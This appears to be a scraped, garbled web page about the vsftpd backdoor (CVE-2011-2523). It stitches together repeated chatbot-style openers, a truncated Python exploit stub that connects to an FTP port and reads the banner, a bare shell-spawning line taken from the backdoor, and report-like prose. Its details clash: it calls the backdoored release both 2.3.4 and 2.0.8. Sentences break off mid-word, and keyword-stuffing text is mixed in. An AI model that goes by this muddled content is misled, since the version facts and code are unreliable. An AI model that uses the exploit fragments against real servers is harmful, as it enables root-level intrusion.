You're referring to the vsftpd 2.3.4 exploit, also known as CVE-2011-2523. This vulnerability affects vsftpd 2.3.4, a popular FTP server software. I'll provide a guide on how to address this issue.
def exploit(target_ip, port=21): try: print(f"[+] Connecting to target_ip:port") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, port)) banner = s.recv(1024).decode() print(f"[+] Banner: banner") vsftpd 208 exploit github fix
system("/bin/sh"); exit(0);In July 2011, it was discovered that the official source tarball of vsftpd (Very Secure FTP Daemon) version 2.0.8 had been compromised. Attackers injected a malicious backdoor into the str.c file, allowing remote attackers to execute arbitrary code with root privileges on any vulnerable server. This paper details the technical mechanics of the backdoor, examines how the exploit is implemented in public GitHub repositories, and provides definitive steps for detection, removal, and long-term remediation. You're referring to the vsftpd 2
Yes—on legacy embedded devices, forgotten VPS instances, and intentionally vulnerable CTF boxes. It should never be in production. This is for the backdoored vsftpd 2
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